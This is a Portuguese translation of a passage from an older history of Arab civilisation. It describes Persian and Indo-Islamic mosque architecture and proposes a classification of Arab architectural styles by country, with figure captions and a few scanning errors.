A nossa descrição dos monumentos muçulmanos da índia mostrou-nos a clareza com que neles está escrita a história da influência de um povo. Vemos assim que nos primeiros edifícios, como a porta de Aladino, as influências hindu e árabe, e a persa apenas indicada, estão intimamente associadas, ao passo que mais tarde sucede o contrário, predominando a última, combinada em proporções diferentes com as reminiscências hindus e deixando apenas campear as reminiscências árabes no emprego de inscrições e estalactites como motivos de ornamentação, e na forma de algumas arcadas. O mausoléu de Akbar, o Taj-Mahal, o palácio do Grão Mogol, etc., são amostras das combinações desse gênero. A superposição de todos esses estilos compõe na realidade um estilo especial, ao qual se pode dar o nome de estilo mongol da índia, ou hindu-persa-árabe, e seus caracteres especiais destacam sobretudo nos minaretes, em geral cónicos como os da Pérsia, embora sem esmaltes; são sulcados de estrias e constam de vários andares, diferenciando-se muito pela ornamentação externa, e pela forma geral, dos da Espanha, África e Cairo.

Monumentos da Pérsia. — Os monumentos persas do tempo dos sassânidas, que o mesmo é dizer contemporâneos da invasão árabe, não têm hoje representação arquitetônica a não ser por meio de disformes restos, e como a maioria dos construídos pelos califas tiveram o mesmo fim, segue-se que a história da arquitetura persa, e sobretudo a história da influência que ela pôde exercer nos árabes, e da destes sobre aquela, são dificílimas.

Quase todos os edifícios importantes da Pérsia foram construídos durante o reinado de Xah Abbas, no século XVI, e quando os comparamos com as ruinas dos anteriores vemos que reproduzem modelos bem mais antigos. Seu estilo difere tanto do dos árabes que apenas concorda em certos pormenores de ornamentação.

Batissier diz em sua história da Arte Monumental "que as mesquitas da Pérsia não parecem diferir das da Palestina", e embora eu não compreenda em que êle baseia semelhante opinião direi não ter encontrado a menor semelhança entre uns e outros monumentos. As antigas mesquitas árabes da Síria, isto é, as de Damasco, Jerusalém e Hebron, não podem ser comparadas com as de Ispahan, pois ainda que a arte persa tenha um parentesco indubitável com a árabe, e ambas se tenham comunicado recíproca e sucessivamente sua influência, parece-me que a persa dispõe de uma originalidade indiscutível.

Fig. 320 ~ Elevação restituída da mesquita dos Sunni, em Tabriz (Pérsia), conforme um desenho de Texier.

Fig. 320 ~ Elevação restituída da mesquita dos Sunni, em Tabriz (Pérsia), conforme um desenho de Texier.

 

Os caracteres diferenciais das mesquitas persas são tão numerosos como fáceis de estabelecer, encontrando-se os de maior vulto nos minaretes, arcadas, cúpulas e ornamentação exterior.

Os minaretes persas, embora antiquíssimos, têm uma forma que lembra as chaminés das nossas fábricas: cónicos de alto a baixo, pouco elevados, de superfície esmaltada, não tendo em geral mais que uma galeria colocada na coroa. Desse modo diferem essencialmente dos minaretes quadrados da Síria, África e Espanha, e muito mais, se possível, do Egito, compostos de torres de muitas galerias, cuja secção varia em cada andar e contendo adornos de esculturas em relevo.

O corpo das mesquitas persas não é menos característico, compondo sempre a entrada do edifício uma espécie de portal gigantesco, encontrável nas ruinas de suas mais antigas mesquitas, como a de Hamadan, cujo portal abraça todo o frontispício, rematando na parte superior por uma arcada ogival reenchida lateralmente e de formato todo especial. Nas mesquitas de outras partes não se vêem fachadas de semelhante caráter.

Não menos característica é a ornamentação externa das mesquitas persas, que são revestidas de azulejos, com numerosos e variados desenhos onde abundam as flores. Tal ornamentação é tipicamente persa, e embora se encontre também em alguns monumentos árabes, como a mesquita de Omar, podemos quase assegurar que se deve a trabalhadores daquele país.

Uma mesquita de Ispahan, segundo desenho de Coste.

Fig 321. Uma mesquita de Ispahan, segundo desenho de Coste.

 

As cúpulas das mesquitas persas atuais apresentam uma Torma abusinada que lhes é peculiar, e me parece simples exageração da ogiva do arco de ferradura, ou das cúpulas realçadas, e com a base estreita das mesquitas árabes do Cairo. Exagerando o preenchimento lateral da ogiva, os persas produziram essas cúpulas que se encontram igualmente nas mesquitas modernas de Bagdad, e que também vi na maior parte das igrejas da Rússia, especialmente nas de Moscou. Essas obras são geralmente tidas como de caráter bizantino, porém o mais exato seria que o fossem de um estilo bizantino–persa. Os russos sempre se mostraram, como os turcos, incapazes de possuir um estilo próprio, mas tiveram a habilidade de misturar e adaptar às suas necessidades os elementos arquitetônicos dos povos com os quais estiveram relacionados.

Não se vêem cúpulas bulbosas nas ruinas das mais antigas mesquitas persas, apesar da maioria das de Samarcanda, Maxhad, Sultanih, Veramina, Erivan, etc., serem edifícios sem dúvida reproduzindo modelos anteriores, de cúpulas inteiramente bizantinas de base apenas estreitada.

As mesquitas persas empregam freqüentemente os pingentes de estalactites e as inscrições em caracteres árabes, que compõem os principais elementos tirados dos muçulmanos.

Os leitores que completarem o que ficou dito com o exame das reproduções espalhadas por esta obra, facilmente reconhecerão, como nós, que a arquitetura árabe variou consideravelmente de um para outro país, e que é impossível reunir monumentos tão diferentes sob uma única qualificação, como aliás o seria confundir sob o título de estilo francês os edifícios românicos, góticos e da Renascença construídos em França.

O estilo bizantino-árabe de Espanha, representado pela mesquita de Córdova, e o estilo bizantino-árabe do Egito, representado pelas mesquitas de Amru e Tulun, têm pouquíssimas analogias, o mesmo sucedendo entre a arquitetura árabe da Alhambra e a da mesquita Kait Bai. Baseados nisto, acreditamos necessário dar ao estilo árabe divisões fundamentais que tenham o país por base de classificação, imitando o que fizemos com as raças, e, considerados os nossos conhecimentos atuais, parece que devemos limitar-nos aos seguintes princípios :

 

Fig. 322 — Palácio do raja de Goverdhum (índia), segundo fotografia.
Fig. 322 — Palácio do raja de Goverdhum (índia), segundo fotografia.

 

1

ESTILO ÁRABE ANTERIOR A MAOMÉ

É desconhecido, e deve estar representado nas ruinas que ainda se hão-de descobrir dos antigos monumentos do Iemen, disseminados pelos antigos reinos árabes da Síria, por exemplo o dos gassânidas.

2

ESTILO BIZANTINO-ÁRABE

Bizantino-árabe da Síria. — Monumentos edificados ou reconstruídos desde o século VII até ao XI, como as mesquitas de Omar e de Alakz em Jerusalém e a grande mesquita de Damasco.

Bizantino-árabe do Egito. — Monumentos levantados desde o século VII até ao X, como as mesquitas de Amru e de Tulun.

Bizantino-árabe da África. — As grandes mesquitas de Kairuan e de Argel, construídas sob antigos tipos. A influência bizantina parece persistir ainda na África, tendo as cúpulas continuado geralmente desse estilo.

Bizantino-árabe da Sicília. — Monumentos anteriores à conquista normanda, como os castelos de Alaciça e da Kubba.

Bizantino-árabe de Espanha. — A mesquita de Córdova, com os monumentos árabes de Toledo, anteriores ao final do século X.

3

ESTILO ÁRABE PURO

Estilo árabe do Egito. — Aperfeiçoa-se constantemente desde o século X até ao XV, e devem-se acompanhar suas transformações na série de mesquitas que enumeramos e representamos, com o mais alto ponto de perfeição alcançado em Kait Bai.

Estilo árabe da Espanha. — Transforma-se igualmente de século para século, embora nos faltem os dados necessários para enlaçar um período com outro. Os únicos edifícios típicos e bem conservados são os de Sevilha e Granada.

4

Estilo hispano-árabe. — A combinação dos elementos de arquitetura cristã e árabe nota-se especialmente nos primeiros tempos que se seguiram à conquista da Espanha pelos cristãos, continuando até aos nossos dias em alguns pontos do sul da península. Muitos monumentos da península apresentam esse estilo misturado.

Estilo juãaico-árabe. — Representado por muitos monumentos antigos de Toledo, como Santa Maria a Branca, o Trânsito, etc, que antigamente serviram de sinagogas.

Estilo persa-árabe. — Monumentos construídos na Pérsia desde que este país adotou o Corão, e especialmente as mesquitas de Ispahan, cujos edifícios, apesar de receberem a influência árabe, têm um cunho bastante original.

Estilo indo-árabe. — Monumentos resultantes da combinação de elementos hindus e árabes, como a torre de Kutab, o templo de Benderabund e sobretudo a maravilhosa porta de Aladino.

Estilo indo-persa-árabe, ou estilo mongol da índia. — Monumentos construídos na índia no tempo dos mongóis, sobretudo o Taj Manai, o palácio do Grão Mogol e muitas mesquitas. A influência árabe, a princípio dominante, foi logo substituída em grande parte pela dos persas. Estes monumentos compõem um estilo especial, mas sem verdadeira originalidade, pois os elementos estranhos que o formam, mais que combinados, são sobrepostos.

Bracelete de ouro balido do século XIV. Estilo hispano-árabe (Musen. Arqueológico de Madrid).

Bracelete de ouro balido do século XIV. Estilo hispano-árabe (Musen. Arqueológico de Madrid).

Tradução de Augusto Souza. Fonte: Paraná Cultural ltda

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